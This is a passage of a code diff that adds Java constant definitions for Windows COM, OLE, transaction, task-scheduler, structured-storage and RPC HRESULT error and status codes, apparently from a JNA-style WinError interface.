+  public static final int CO_E_TRACKER_CONFIG = -2147467216;
+  
+
+
+
+
+
+
+
+  public static final int CO_E_THREADPOOL_CONFIG = -2147467215;
+  
+
+
+
+
+
+
+
+  public static final int CO_E_SXS_CONFIG = -2147467214;
+  
+
+
+
+
+
+
+
+  public static final int CO_E_MALFORMED_SPN = -2147467213;
+  
+
+
+
+
+
+
+
+  public static final WinNT.HRESULT S_OK = new WinNT.HRESULT(0);
+  public static final WinNT.HRESULT S_FALSE = new WinNT.HRESULT(1);
+  public static final int OLE_E_FIRST = -2147221504;
+  public static final int OLE_E_LAST = -2147221249;
+  public static final int OLE_S_FIRST = 262144;
+  public static final int OLE_S_LAST = 262399;
+  public static final int OLE_E_OLEVERB = -2147221504;
+  public static final int OLE_E_ADVF = -2147221503;
+  public static final int OLE_E_ENUM_NOMORE = -2147221502;
+  public static final int OLE_E_ADVISENOTSUPPORTED = -2147221501;
+  public static final int OLE_E_NOCONNECTION = -2147221500;
+  public static final int OLE_E_NOTRUNNING = -2147221499;
+  public static final int OLE_E_NOCACHE = -2147221498;
+  public static final int OLE_E_BLANK = -2147221497;
+  public static final int OLE_E_CLASSDIFF = -2147221496;
+  public static final int OLE_E_CANT_GETMONIKER = -2147221495;
+  public static final int OLE_E_CANT_BINDTOSOURCE = -2147221494;
+  public static final int OLE_E_STATIC = -2147221493;
+  public static final int OLE_E_PROMPTSAVECANCELLED = -2147221492;
+  public static final int OLE_E_INVALIDRECT = -2147221491;
+  public static final int OLE_E_WRONGCOMPOBJ = -2147221490;
+  public static final int OLE_E_INVALIDHWND = -2147221489;
+  public static final int OLE_E_NOT_INPLACEACTIVE = -2147221488;
+  public static final int OLE_E_CANTCONVERT = -2147221487;
+  public static final int OLE_E_NOSTORAGE = -2147221486;
+  public static final int DV_E_FORMATETC = -2147221404;
+  public static final int DV_E_DVTARGETDEVICE = -2147221403;
+  public static final int DV_E_STGMEDIUM = -2147221402;
+  public static final int DV_E_STATDATA = -2147221401;
+  public static final int DV_E_LINDEX = -2147221400;
+  public static final int DV_E_TYMED = -2147221399;
+  public static final int DV_E_CLIPFORMAT = -2147221398;
+  public static final int DV_E_DVASPECT = -2147221397;
+  public static final int DV_E_DVTARGETDEVICE_SIZE = -2147221396;
+  public static final int DV_E_NOIVIEWOBJECT = -2147221395;
+  public static final int DRAGDROP_E_FIRST = -2147221248;
+  public static final int DRAGDROP_E_LAST = -2147221233;
+  public static final int DRAGDROP_S_FIRST = 262400;
+  public static final int DRAGDROP_S_LAST = 262415;
+  public static final int DRAGDROP_E_NOTREGISTERED = -2147221248;
+  public static final int DRAGDROP_E_ALREADYREGISTERED = -2147221247;
+  public static final int DRAGDROP_E_INVALIDHWND = -2147221246;
+  public static final int CLASSFACTORY_E_FIRST = -2147221232;
+  public static final int CLASSFACTORY_E_LAST = -2147221217;
+  public static final int CLASSFACTORY_S_FIRST = 262416;
+  public static final int CLASSFACTORY_S_LAST = 262431;
+  public static final int CLASS_E_NOAGGREGATION = -2147221232;
+  public static final int CLASS_E_CLASSNOTAVAILABLE = -2147221231;
+  public static final int CLASS_E_NOTLICENSED = -2147221230;
+  public static final int MARSHAL_E_FIRST = -2147221216;
+  public static final int MARSHAL_E_LAST = -2147221201;
+  public static final int MARSHAL_S_FIRST = 262432;
+  public static final int MARSHAL_S_LAST = 262447;
+  public static final int DATA_E_FIRST = -2147221200;
+  public static final int DATA_E_LAST = -2147221185;
+  public static final int DATA_S_FIRST = 262448;
+  public static final int DATA_S_LAST = 262463;
+  public static final int VIEW_E_FIRST = -2147221184;
+  public static final int VIEW_E_LAST = -2147221169;
+  public static final int VIEW_S_FIRST = 262464;
+  public static final int VIEW_S_LAST = 262479;
+  public static final int VIEW_E_DRAW = -2147221184;
+  public static final int REGDB_E_FIRST = -2147221168;
+  public static final int REGDB_E_LAST = -2147221153;
+  public static final int REGDB_S_FIRST = 262480;
+  public static final int REGDB_S_LAST = 262495;
+  public static final int REGDB_E_READREGDB = -2147221168;
+  public static final int REGDB_E_WRITEREGDB = -2147221167;
+  public static final int REGDB_E_KEYMISSING = -2147221166;
+  public static final int REGDB_E_INVALIDVALUE = -2147221165;
+  public static final int REGDB_E_CLASSNOTREG = -2147221164;
+  public static final int REGDB_E_IIDNOTREG = -2147221163;
+  public static final int REGDB_E_BADTHREADINGMODEL = -2147221162;
+  public static final int CAT_E_FIRST = -2147221152;
+  public static final int CAT_E_LAST = -2147221151;
+  public static final int CAT_E_CATIDNOEXIST = -2147221152;
+  public static final int CAT_E_NODESCRIPTION = -2147221151;
+  public static final int CS_E_FIRST = -2147221148;
+  public static final int CS_E_LAST = -2147221137;
+  public static final int CS_E_PACKAGE_NOTFOUND = -2147221148;
+  public static final int CS_E_NOT_DELETABLE = -2147221147;
+  public static final int CS_E_CLASS_NOTFOUND = -2147221146;
+  public static final int CS_E_INVALID_VERSION = -2147221145;
+  public static final int CS_E_NO_CLASSSTORE = -2147221144;
+  public static final int CS_E_OBJECT_NOTFOUND = -2147221143;
+  public static final int CS_E_OBJECT_ALREADY_EXISTS = -2147221142;
+  public static final int CS_E_INVALID_PATH = -2147221141;
+  public static final int CS_E_NETWORK_ERROR = -2147221140;
+  public static final int CS_E_ADMIN_LIMIT_EXCEEDED = -2147221139;
+  public static final int CS_E_SCHEMA_MISMATCH = -2147221138;
+  public static final int CS_E_INTERNAL_ERROR = -2147221137;
+  public static final int CACHE_E_FIRST = -2147221136;
+  public static final int CACHE_E_LAST = -2147221121;
+  public static final int CACHE_S_FIRST = 262512;
+  public static final int CACHE_S_LAST = 262527;
+  public static final int CACHE_E_NOCACHE_UPDATED = -2147221136;
+  public static final int OLEOBJ_E_FIRST = -2147221120;
+  public static final int OLEOBJ_E_LAST = -2147221105;
+  public static final int OLEOBJ_S_FIRST = 262528;
+  public static final int OLEOBJ_S_LAST = 262543;
+  public static final int OLEOBJ_E_NOVERBS = -2147221120;
+  public static final int OLEOBJ_E_INVALIDVERB = -2147221119;
+  public static final int CLIENTSITE_E_FIRST = -2147221104;
+  public static final int CLIENTSITE_E_LAST = -2147221089;
+  public static final int CLIENTSITE_S_FIRST = 262544;
+  public static final int CLIENTSITE_S_LAST = 262559;
+  public static final int INPLACE_E_NOTUNDOABLE = -2147221088;
+  public static final int INPLACE_E_NOTOOLSPACE = -2147221087;
+  public static final int INPLACE_E_FIRST = -2147221088;
+  public static final int INPLACE_E_LAST = -2147221073;
+  public static final int INPLACE_S_FIRST = 262560;
+  public static final int INPLACE_S_LAST = 262575;
+  public static final int ENUM_E_FIRST = -2147221072;
+  public static final int ENUM_E_LAST = -2147221057;
+  public static final int ENUM_S_FIRST = 262576;
+  public static final int ENUM_S_LAST = 262591;
+  public static final int CONVERT10_E_FIRST = -2147221056;
+  public static final int CONVERT10_E_LAST = -2147221041;
+  public static final int CONVERT10_S_FIRST = 262592;
+  public static final int CONVERT10_S_LAST = 262607;
+  public static final int CONVERT10_E_OLESTREAM_GET = -2147221056;
+  public static final int CONVERT10_E_OLESTREAM_PUT = -2147221055;
+  public static final int CONVERT10_E_OLESTREAM_FMT = -2147221054;
+  public static final int CONVERT10_E_OLESTREAM_BITMAP_TO_DIB = -2147221053;
+  public static final int CONVERT10_E_STG_FMT = -2147221052;
+  public static final int CONVERT10_E_STG_NO_STD_STREAM = -2147221051;
+  public static final int CONVERT10_E_STG_DIB_TO_BITMAP = -2147221050;
+  public static final int CLIPBRD_E_FIRST = -2147221040;
+  public static final int CLIPBRD_E_LAST = -2147221025;
+  public static final int CLIPBRD_S_FIRST = 262608;
+  public static final int CLIPBRD_S_LAST = 262623;
+  public static final int CLIPBRD_E_CANT_OPEN = -2147221040;
+  public static final int CLIPBRD_E_CANT_EMPTY = -2147221039;
+  public static final int CLIPBRD_E_CANT_SET = -2147221038;
+  public static final int CLIPBRD_E_BAD_DATA = -2147221037;
+  public static final int CLIPBRD_E_CANT_CLOSE = -2147221036;
+  public static final int MK_E_FIRST = -2147221024;
+  public static final int MK_E_LAST = -2147221009;
+  public static final int MK_S_FIRST = 262624;
+  public static final int MK_S_LAST = 262639;
+  public static final int MK_E_CONNECTMANUALLY = -2147221024;
+  public static final int MK_E_EXCEEDEDDEADLINE = -2147221023;
+  public static final int MK_E_NEEDGENERIC = -2147221022;
+  public static final int MK_E_UNAVAILABLE = -2147221021;
+  public static final int MK_E_SYNTAX = -2147221020;
+  public static final int MK_E_NOOBJECT = -2147221019;
+  public static final int MK_E_INVALIDEXTENSION = -2147221018;
+  public static final int MK_E_INTERMEDIATEINTERFACENOTSUPPORTED = -2147221017;
+  public static final int MK_E_NOTBINDABLE = -2147221016;
+  public static final int MK_E_NOTBOUND = -2147221015;
+  public static final int MK_E_CANTOPENFILE = -2147221014;
+  public static final int MK_E_MUSTBOTHERUSER = -2147221013;
+  public static final int MK_E_NOINVERSE = -2147221012;
+  public static final int MK_E_NOSTORAGE = -2147221011;
+  public static final int MK_E_NOPREFIX = -2147221010;
+  public static final int MK_E_ENUMERATION_FAILED = -2147221009;
+  public static final int CO_E_FIRST = -2147221008;
+  public static final int CO_E_LAST = -2147220993;
+  public static final int CO_S_FIRST = 262640;
+  public static final int CO_S_LAST = 262655;
+  public static final int CO_E_NOTINITIALIZED = -2147221008;
+  public static final int CO_E_ALREADYINITIALIZED = -2147221007;
+  public static final int CO_E_CANTDETERMINECLASS = -2147221006;
+  public static final int CO_E_CLASSSTRING = -2147221005;
+  public static final int CO_E_IIDSTRING = -2147221004;
+  public static final int CO_E_APPNOTFOUND = -2147221003;
+  public static final int CO_E_APPSINGLEUSE = -2147221002;
+  public static final int CO_E_ERRORINAPP = -2147221001;
+  public static final int CO_E_DLLNOTFOUND = -2147221000;
+  public static final int CO_E_ERRORINDLL = -2147220999;
+  public static final int CO_E_WRONGOSFORAPP = -2147220998;
+  public static final int CO_E_OBJNOTREG = -2147220997;
+  public static final int CO_E_OBJISREG = -2147220996;
+  public static final int CO_E_OBJNOTCONNECTED = -2147220995;
+  public static final int CO_E_APPDIDNTREG = -2147220994;
+  public static final int CO_E_RELEASED = -2147220993;
+  public static final int EVENT_E_FIRST = -2147220992;
+  public static final int EVENT_E_LAST = -2147220961;
+  public static final int EVENT_S_FIRST = 262656;
+  public static final int EVENT_S_LAST = 262687;
+  public static final int EVENT_S_SOME_SUBSCRIBERS_FAILED = 262656;
+  public static final int EVENT_E_ALL_SUBSCRIBERS_FAILED = -2147220991;
+  public static final int EVENT_S_NOSUBSCRIBERS = 262658;
+  public static final int EVENT_E_QUERYSYNTAX = -2147220989;
+  public static final int EVENT_E_QUERYFIELD = -2147220988;
+  public static final int EVENT_E_INTERNALEXCEPTION = -2147220987;
+  public static final int EVENT_E_INTERNALERROR = -2147220986;
+  public static final int EVENT_E_INVALID_PER_USER_SID = -2147220985;
+  public static final int EVENT_E_USER_EXCEPTION = -2147220984;
+  public static final int EVENT_E_TOO_MANY_METHODS = -2147220983;
+  public static final int EVENT_E_MISSING_EVENTCLASS = -2147220982;
+  public static final int EVENT_E_NOT_ALL_REMOVED = -2147220981;
+  public static final int EVENT_E_COMPLUS_NOT_INSTALLED = -2147220980;
+  public static final int EVENT_E_CANT_MODIFY_OR_DELETE_UNCONFIGURED_OBJECT = -2147220979;
+  public static final int EVENT_E_CANT_MODIFY_OR_DELETE_CONFIGURED_OBJECT = -2147220978;
+  public static final int EVENT_E_INVALID_EVENT_CLASS_PARTITION = -2147220977;
+  public static final int EVENT_E_PER_USER_SID_NOT_LOGGED_ON = -2147220976;
+  public static final int XACT_E_FIRST = -2147168256;
+  public static final int XACT_E_LAST = -2147168215;
+  public static final int XACT_S_FIRST = 315392;
+  public static final int XACT_S_LAST = 315408;
+  public static final int XACT_E_ALREADYOTHERSINGLEPHASE = -2147168256;
+  public static final int XACT_E_CANTRETAIN = -2147168255;
+  public static final int XACT_E_COMMITFAILED = -2147168254;
+  public static final int XACT_E_COMMITPREVENTED = -2147168253;
+  public static final int XACT_E_HEURISTICABORT = -2147168252;
+  public static final int XACT_E_HEURISTICCOMMIT = -2147168251;
+  public static final int XACT_E_HEURISTICDAMAGE = -2147168250;
+  public static final int XACT_E_HEURISTICDANGER = -2147168249;
+  public static final int XACT_E_ISOLATIONLEVEL = -2147168248;
+  public static final int XACT_E_NOASYNC = -2147168247;
+  public static final int XACT_E_NOENLIST = -2147168246;
+  public static final int XACT_E_NOISORETAIN = -2147168245;
+  public static final int XACT_E_NORESOURCE = -2147168244;
+  public static final int XACT_E_NOTCURRENT = -2147168243;
+  public static final int XACT_E_NOTRANSACTION = -2147168242;
+  public static final int XACT_E_NOTSUPPORTED = -2147168241;
+  public static final int XACT_E_UNKNOWNRMGRID = -2147168240;
+  public static final int XACT_E_WRONGSTATE = -2147168239;
+  public static final int XACT_E_WRONGUOW = -2147168238;
+  public static final int XACT_E_XTIONEXISTS = -2147168237;
+  public static final int XACT_E_NOIMPORTOBJECT = -2147168236;
+  public static final int XACT_E_INVALIDCOOKIE = -2147168235;
+  public static final int XACT_E_INDOUBT = -2147168234;
+  public static final int XACT_E_NOTIMEOUT = -2147168233;
+  public static final int XACT_E_ALREADYINPROGRESS = -2147168232;
+  public static final int XACT_E_ABORTED = -2147168231;
+  public static final int XACT_E_LOGFULL = -2147168230;
+  public static final int XACT_E_TMNOTAVAILABLE = -2147168229;
+  public static final int XACT_E_CONNECTION_DOWN = -2147168228;
+  public static final int XACT_E_CONNECTION_DENIED = -2147168227;
+  public static final int XACT_E_REENLISTTIMEOUT = -2147168226;
+  public static final int XACT_E_TIP_CONNECT_FAILED = -2147168225;
+  public static final int XACT_E_TIP_PROTOCOL_ERROR = -2147168224;
+  public static final int XACT_E_TIP_PULL_FAILED = -2147168223;
+  public static final int XACT_E_DEST_TMNOTAVAILABLE = -2147168222;
+  public static final int XACT_E_TIP_DISABLED = -2147168221;
+  public static final int XACT_E_NETWORK_TX_DISABLED = -2147168220;
+  public static final int XACT_E_PARTNER_NETWORK_TX_DISABLED = -2147168219;
+  public static final int XACT_E_XA_TX_DISABLED = -2147168218;
+  public static final int XACT_E_UNABLE_TO_READ_DTC_CONFIG = -2147168217;
+  public static final int XACT_E_UNABLE_TO_LOAD_DTC_PROXY = -2147168216;
+  public static final int XACT_E_ABORTING = -2147168215;
+  public static final int XACT_E_CLERKNOTFOUND = -2147168128;
+  public static final int XACT_E_CLERKEXISTS = -2147168127;
+  public static final int XACT_E_RECOVERYINPROGRESS = -2147168126;
+  public static final int XACT_E_TRANSACTIONCLOSED = -2147168125;
+  public static final int XACT_E_INVALIDLSN = -2147168124;
+  public static final int XACT_E_REPLAYREQUEST = -2147168123;
+  public static final int XACT_S_ASYNC = 315392;
+  public static final int XACT_S_DEFECT = 315393;
+  public static final int XACT_S_READONLY = 315394;
+  public static final int XACT_S_SOMENORETAIN = 315395;
+  public static final int XACT_S_OKINFORM = 315396;
+  public static final int XACT_S_MADECHANGESCONTENT = 315397;
+  public static final int XACT_S_MADECHANGESINFORM = 315398;
+  public static final int XACT_S_ALLNORETAIN = 315399;
+  public static final int XACT_S_ABORTING = 315400;
+  public static final int XACT_S_SINGLEPHASE = 315401;
+  public static final int XACT_S_LOCALLY_OK = 315402;
+  public static final int XACT_S_LASTRESOURCEMANAGER = 315408;
+  public static final int CONTEXT_E_FIRST = -2147164160;
+  public static final int CONTEXT_E_LAST = -2147164113;
+  public static final int CONTEXT_S_FIRST = 319488;
+  public static final int CONTEXT_S_LAST = 319535;
+  public static final int CONTEXT_E_ABORTED = -2147164158;
+  public static final int CONTEXT_E_ABORTING = -2147164157;
+  public static final int CONTEXT_E_NOCONTEXT = -2147164156;
+  public static final int CONTEXT_E_WOULD_DEADLOCK = -2147164155;
+  public static final int CONTEXT_E_SYNCH_TIMEOUT = -2147164154;
+  public static final int CONTEXT_E_OLDREF = -2147164153;
+  public static final int CONTEXT_E_ROLENOTFOUND = -2147164148;
+  public static final int CONTEXT_E_TMNOTAVAILABLE = -2147164145;
+  public static final int CO_E_ACTIVATIONFAILED = -2147164127;
+  public static final int CO_E_ACTIVATIONFAILED_EVENTLOGGED = -2147164126;
+  public static final int CO_E_ACTIVATIONFAILED_CATALOGERROR = -2147164125;
+  public static final int CO_E_ACTIVATIONFAILED_TIMEOUT = -2147164124;
+  public static final int CO_E_INITIALIZATIONFAILED = -2147164123;
+  public static final int CONTEXT_E_NOJIT = -2147164122;
+  public static final int CONTEXT_E_NOTRANSACTION = -2147164121;
+  public static final int CO_E_THREADINGMODEL_CHANGED = -2147164120;
+  public static final int CO_E_NOIISINTRINSICS = -2147164119;
+  public static final int CO_E_NOCOOKIES = -2147164118;
+  public static final int CO_E_DBERROR = -2147164117;
+  public static final int CO_E_NOTPOOLED = -2147164116;
+  public static final int CO_E_NOTCONSTRUCTED = -2147164115;
+  public static final int CO_E_NOSYNCHRONIZATION = -2147164114;
+  public static final int CO_E_ISOLEVELMISMATCH = -2147164113;
+  public static final int CO_E_CALL_OUT_OF_TX_SCOPE_NOT_ALLOWED = -2147164112;
+  public static final int CO_E_EXIT_TRANSACTION_SCOPE_NOT_CALLED = -2147164111;
+  public static final int OLE_S_USEREG = 262144;
+  public static final int OLE_S_STATIC = 262145;
+  public static final int OLE_S_MAC_CLIPFORMAT = 262146;
+  public static final int DRAGDROP_S_DROP = 262400;
+  public static final int DRAGDROP_S_CANCEL = 262401;
+  public static final int DRAGDROP_S_USEDEFAULTCURSORS = 262402;
+  public static final int DATA_S_SAMEFORMATETC = 262448;
+  public static final int VIEW_S_ALREADY_FROZEN = 262464;
+  public static final int CACHE_S_FORMATETC_NOTSUPPORTED = 262512;
+  public static final int CACHE_S_SAMECACHE = 262513;
+  public static final int CACHE_S_SOMECACHES_NOTUPDATED = 262514;
+  public static final int OLEOBJ_S_INVALIDVERB = 262528;
+  public static final int OLEOBJ_S_CANNOT_DOVERB_NOW = 262529;
+  public static final int OLEOBJ_S_INVALIDHWND = 262530;
+  public static final int INPLACE_S_TRUNCATED = 262560;
+  public static final int CONVERT10_S_NO_PRESENTATION = 262592;
+  public static final int MK_S_REDUCED_TO_SELF = 262626;
+  public static final int MK_S_ME = 262628;
+  public static final int MK_S_HIM = 262629;
+  public static final int MK_S_US = 262630;
+  public static final int MK_S_MONIKERALREADYREGISTERED = 262631;
+  public static final int SCHED_S_TASK_READY = 267008;
+  public static final int SCHED_S_TASK_RUNNING = 267009;
+  public static final int SCHED_S_TASK_DISABLED = 267010;
+  public static final int SCHED_S_TASK_HAS_NOT_RUN = 267011;
+  public static final int SCHED_S_TASK_NO_MORE_RUNS = 267012;
+  public static final int SCHED_S_TASK_NOT_SCHEDULED = 267013;
+  public static final int SCHED_S_TASK_TERMINATED = 267014;
+  public static final int SCHED_S_TASK_NO_VALID_TRIGGERS = 267015;
+  public static final int SCHED_S_EVENT_TRIGGER = 267016;
+  public static final int SCHED_E_TRIGGER_NOT_FOUND = -2147216631;
+  public static final int SCHED_E_TASK_NOT_READY = -2147216630;
+  public static final int SCHED_E_TASK_NOT_RUNNING = -2147216629;
+  public static final int SCHED_E_SERVICE_NOT_INSTALLED = -2147216628;
+  public static final int SCHED_E_CANNOT_OPEN_TASK = -2147216627;
+  public static final int SCHED_E_INVALID_TASK = -2147216626;
+  public static final int SCHED_E_ACCOUNT_INFORMATION_NOT_SET = -2147216625;
+  public static final int SCHED_E_ACCOUNT_NAME_NOT_FOUND = -2147216624;
+  public static final int SCHED_E_ACCOUNT_DBASE_CORRUPT = -2147216623;
+  public static final int SCHED_E_NO_SECURITY_SERVICES = -2147216622;
+  public static final int SCHED_E_UNKNOWN_OBJECT_VERSION = -2147216621;
+  public static final int SCHED_E_UNSUPPORTED_ACCOUNT_OPTION = -2147216620;
+  public static final int SCHED_E_SERVICE_NOT_RUNNING = -2147216619;
+  public static final int SCHED_E_UNEXPECTEDNODE = -2147216618;
+  public static final int SCHED_E_NAMESPACE = -2147216617;
+  public static final int SCHED_E_INVALIDVALUE = -2147216616;
+  public static final int SCHED_E_MISSINGNODE = -2147216615;
+  public static final int SCHED_E_MALFORMEDXML = -2147216614;
+  public static final int SCHED_S_SOME_TRIGGERS_FAILED = 267035;
+  public static final int SCHED_S_BATCH_LOGON_PROBLEM = 267036;
+  public static final int SCHED_E_TOO_MANY_NODES = -2147216611;
+  public static final int SCHED_E_PAST_END_BOUNDARY = -2147216610;
+  public static final int SCHED_E_ALREADY_RUNNING = -2147216609;
+  public static final int SCHED_E_USER_NOT_LOGGED_ON = -2147216608;
+  public static final int SCHED_E_INVALID_TASK_HASH = -2147216607;
+  public static final int SCHED_E_SERVICE_NOT_AVAILABLE = -2147216606;
+  public static final int SCHED_E_SERVICE_TOO_BUSY = -2147216605;
+  public static final int SCHED_E_TASK_ATTEMPTED = -2147216604;
+  public static final int SCHED_S_TASK_QUEUED = 267045;
+  public static final int SCHED_E_TASK_DISABLED = -2147216602;
+  public static final int SCHED_E_TASK_NOT_V1_COMPAT = -2147216601;
+  public static final int SCHED_E_START_ON_DEMAND = -2147216600;
+  public static final int CO_E_CLASS_CREATE_FAILED = -2146959359;
+  public static final int CO_E_SCM_ERROR = -2146959358;
+  public static final int CO_E_SCM_RPC_FAILURE = -2146959357;
+  public static final int CO_E_BAD_PATH = -2146959356;
+  public static final int CO_E_SERVER_EXEC_FAILURE = -2146959355;
+  public static final int CO_E_OBJSRV_RPC_FAILURE = -2146959354;
+  public static final int MK_E_NO_NORMALIZED = -2146959353;
+  public static final int CO_E_SERVER_STOPPING = -2146959352;
+  public static final int MEM_E_INVALID_ROOT = -2146959351;
+  public static final int MEM_E_INVALID_LINK = -2146959344;
+  public static final int MEM_E_INVALID_SIZE = -2146959343;
+  public static final int CO_S_NOTALLINTERFACES = 524306;
+  public static final int CO_S_MACHINENAMENOTFOUND = 524307;
+  public static final int CO_E_MISSING_DISPLAYNAME = -2146959339;
+  public static final int CO_E_RUNAS_VALUE_MUST_BE_AAA = -2146959338;
+  public static final int CO_E_ELEVATION_DISABLED = -2146959337;
+  public static final int DISP_E_UNKNOWNINTERFACE = -2147352575;
+  public static final int DISP_E_MEMBERNOTFOUND = -2147352573;
+  public static final int DISP_E_PARAMNOTFOUND = -2147352572;
+  public static final int DISP_E_TYPEMISMATCH = -2147352571;
+  public static final int DISP_E_UNKNOWNNAME = -2147352570;
+  public static final int DISP_E_NONAMEDARGS = -2147352569;
+  public static final int DISP_E_BADVARTYPE = -2147352568;
+  public static final int DISP_E_EXCEPTION = -2147352567;
+  public static final int DISP_E_OVERFLOW = -2147352566;
+  public static final int DISP_E_BADINDEX = -2147352565;
+  public static final int DISP_E_UNKNOWNLCID = -2147352564;
+  public static final int DISP_E_ARRAYISLOCKED = -2147352563;
+  public static final int DISP_E_BADPARAMCOUNT = -2147352562;
+  public static final int DISP_E_PARAMNOTOPTIONAL = -2147352561;
+  public static final int DISP_E_BADCALLEE = -2147352560;
+  public static final int DISP_E_NOTACOLLECTION = -2147352559;
+  public static final int DISP_E_DIVBYZERO = -2147352558;
+  public static final int DISP_E_BUFFERTOOSMALL = -2147352557;
+  public static final int TYPE_E_BUFFERTOOSMALL = -2147319786;
+  public static final int TYPE_E_FIELDNOTFOUND = -2147319785;
+  public static final int TYPE_E_INVDATAREAD = -2147319784;
+  public static final int TYPE_E_UNSUPFORMAT = -2147319783;
+  public static final int TYPE_E_REGISTRYACCESS = -2147319780;
+  public static final int TYPE_E_LIBNOTREGISTERED = -2147319779;
+  public static final int TYPE_E_UNDEFINEDTYPE = -2147319769;
+  public static final int TYPE_E_QUALIFIEDNAMEDISALLOWED = -2147319768;
+  public static final int TYPE_E_INVALIDSTATE = -2147319767;
+  public static final int TYPE_E_WRONGTYPEKIND = -2147319766;
+  public static final int TYPE_E_ELEMENTNOTFOUND = -2147319765;
+  public static final int TYPE_E_AMBIGUOUSNAME = -2147319764;
+  public static final int TYPE_E_NAMECONFLICT = -2147319763;
+  public static final int TYPE_E_UNKNOWNLCID = -2147319762;
+  public static final int TYPE_E_DLLFUNCTIONNOTFOUND = -2147319761;
+  public static final int TYPE_E_BADMODULEKIND = -2147317571;
+  public static final int TYPE_E_SIZETOOBIG = -2147317563;
+  public static final int TYPE_E_DUPLICATEID = -2147317562;
+  public static final int TYPE_E_INVALIDID = -2147317553;
+  public static final int TYPE_E_TYPEMISMATCH = -2147316576;
+  public static final int TYPE_E_OUTOFBOUNDS = -2147316575;
+  public static final int TYPE_E_IOERROR = -2147316574;
+  public static final int TYPE_E_CANTCREATETMPFILE = -2147316573;
+  public static final int TYPE_E_CANTLOADLIBRARY = -2147312566;
+  public static final int TYPE_E_INCONSISTENTPROPFUNCS = -2147312509;
+  public static final int TYPE_E_CIRCULARTYPE = -2147312508;
+  public static final int STG_E_INVALIDFUNCTION = -2147287039;
+  public static final int STG_E_FILENOTFOUND = -2147287038;
+  public static final int STG_E_PATHNOTFOUND = -2147287037;
+  public static final int STG_E_TOOMANYOPENFILES = -2147287036;
+  public static final int STG_E_ACCESSDENIED = -2147287035;
+  public static final int STG_E_INVALIDHANDLE = -2147287034;
+  public static final int STG_E_INSUFFICIENTMEMORY = -2147287032;
+  public static final int STG_E_INVALIDPOINTER = -2147287031;
+  public static final int STG_E_NOMOREFILES = -2147287022;
+  public static final int STG_E_DISKISWRITEPROTECTED = -2147287021;
+  public static final int STG_E_SEEKERROR = -2147287015;
+  public static final int STG_E_WRITEFAULT = -2147287011;
+  public static final int STG_E_READFAULT = -2147287010;
+  public static final int STG_E_SHAREVIOLATION = -2147287008;
+  public static final int STG_E_LOCKVIOLATION = -2147287007;
+  public static final int STG_E_FILEALREADYEXISTS = -2147286960;
+  public static final int STG_E_INVALIDPARAMETER = -2147286953;
+  public static final int STG_E_MEDIUMFULL = -2147286928;
+  public static final int STG_E_PROPSETMISMATCHED = -2147286800;
+  public static final int STG_E_ABNORMALAPIEXIT = -2147286790;
+  public static final int STG_E_INVALIDHEADER = -2147286789;
+  public static final int STG_E_INVALIDNAME = -2147286788;
+  public static final int STG_E_UNKNOWN = -2147286787;
+  public static final int STG_E_UNIMPLEMENTEDFUNCTION = -2147286786;
+  public static final int STG_E_INVALIDFLAG = -2147286785;
+  public static final int STG_E_INUSE = -2147286784;
+  public static final int STG_E_NOTCURRENT = -2147286783;
+  public static final int STG_E_REVERTED = -2147286782;
+  public static final int STG_E_CANTSAVE = -2147286781;
+  public static final int STG_E_OLDFORMAT = -2147286780;
+  public static final int STG_E_OLDDLL = -2147286779;
+  public static final int STG_E_SHAREREQUIRED = -2147286778;
+  public static final int STG_E_NOTFILEBASEDSTORAGE = -2147286777;
+  public static final int STG_E_EXTANTMARSHALLINGS = -2147286776;
+  public static final int STG_E_DOCFILECORRUPT = -2147286775;
+  public static final int STG_E_BADBASEADDRESS = -2147286768;
+  public static final int STG_E_DOCFILETOOLARGE = -2147286767;
+  public static final int STG_E_NOTSIMPLEFORMAT = -2147286766;
+  public static final int STG_E_INCOMPLETE = -2147286527;
+  public static final int STG_E_TERMINATED = -2147286526;
+  public static final int STG_S_CONVERTED = 197120;
+  public static final int STG_S_BLOCK = 197121;
+  public static final int STG_S_RETRYNOW = 197122;
+  public static final int STG_S_MONITORING = 197123;
+  public static final int STG_S_MULTIPLEOPENS = 197124;
+  public static final int STG_S_CONSOLIDATIONFAILED = 197125;
+  public static final int STG_S_CANNOTCONSOLIDATE = 197126;
+  public static final int STG_E_STATUS_COPY_PROTECTION_FAILURE = -2147286267;
+  public static final int STG_E_CSS_AUTHENTICATION_FAILURE = -2147286266;
+  public static final int STG_E_CSS_KEY_NOT_PRESENT = -2147286265;
+  public static final int STG_E_CSS_KEY_NOT_ESTABLISHED = -2147286264;
+  public static final int STG_E_CSS_SCRAMBLED_SECTOR = -2147286263;
+  public static final int STG_E_CSS_REGION_MISMATCH = -2147286262;
+  public static final int STG_E_RESETS_EXHAUSTED = -2147286261;
+  public static final int RPC_E_CALL_REJECTED = -2147418111;
+  public static final int RPC_E_CALL_CANCELED = -2147418110;
+  public static final int RPC_E_CANTPOST_INSENDCALL = -2147418109;
+  public static final int RPC_E_CANTCALLOUT_INASYNCCALL = -2147418108;
+  public static final int RPC_E_CANTCALLOUT_INEXTERNALCALL = -2147418107;
+  public static final int RPC_E_CONNECTION_TERMINATED = -2147418106;
+  public static final int RPC_E_SERVER_DIED = -2147418105;
+  public static final int RPC_E_CLIENT_DIED = -2147418104;
+  public static final int RPC_E_INVALID_DATAPACKET = -2147418103;
+  public static final int RPC_E_CANTTRANSMIT_CALL = -2147418102;
+  public static final int RPC_E_CLIENT_CANTMARSHAL_DATA = -2147418101;
+  public static final int RPC_E_CLIENT_CANTUNMARSHAL_DATA = -2147418100;
+  public static final int RPC_E_SERVER_CANTMARSHAL_DATA = -2147418099;
+  public static final int RPC_E_SERVER_CANTUNMARSHAL_DATA = -2147418098;
+  public static final int RPC_E_INVALID_DATA = -2147418097;
+  public static final int RPC_E_INVALID_PARAMETER = -2147418096;
+  public static final int RPC_E_CANTCALLOUT_AGAIN = -2147418095;
+  public static final int RPC_E_SERVER_DIED_DNE = -2147418094;
+  public static final int RPC_E_SYS_CALL_FAILED = -2147417856;
+  public static final int RPC_E_OUT_OF_RESOURCES = -2147417855;
+  public static final int RPC_E_ATTEMPTED_MULTITHREAD = -2147417854;
+  public static final int RPC_E_NOT_REGISTERED = -2147417853;
+  public static final int RPC_E_FAULT = -2147417852;
+  public static final int RPC_E_SERVERFAULT = -2147417851;
+  public static final int RPC_E_CHANGED_MODE = -2147417850;
+  public static final int RPC_E_INVALIDMETHOD = -2147417849;
+  public static final int RPC_E_DISCONNECTED = -2147417848;
+  public static final int RPC_E_RETRY = -2147417847;
+  public static final int RPC_E_SERVERCALL_RETRYLATER = -2147417846;
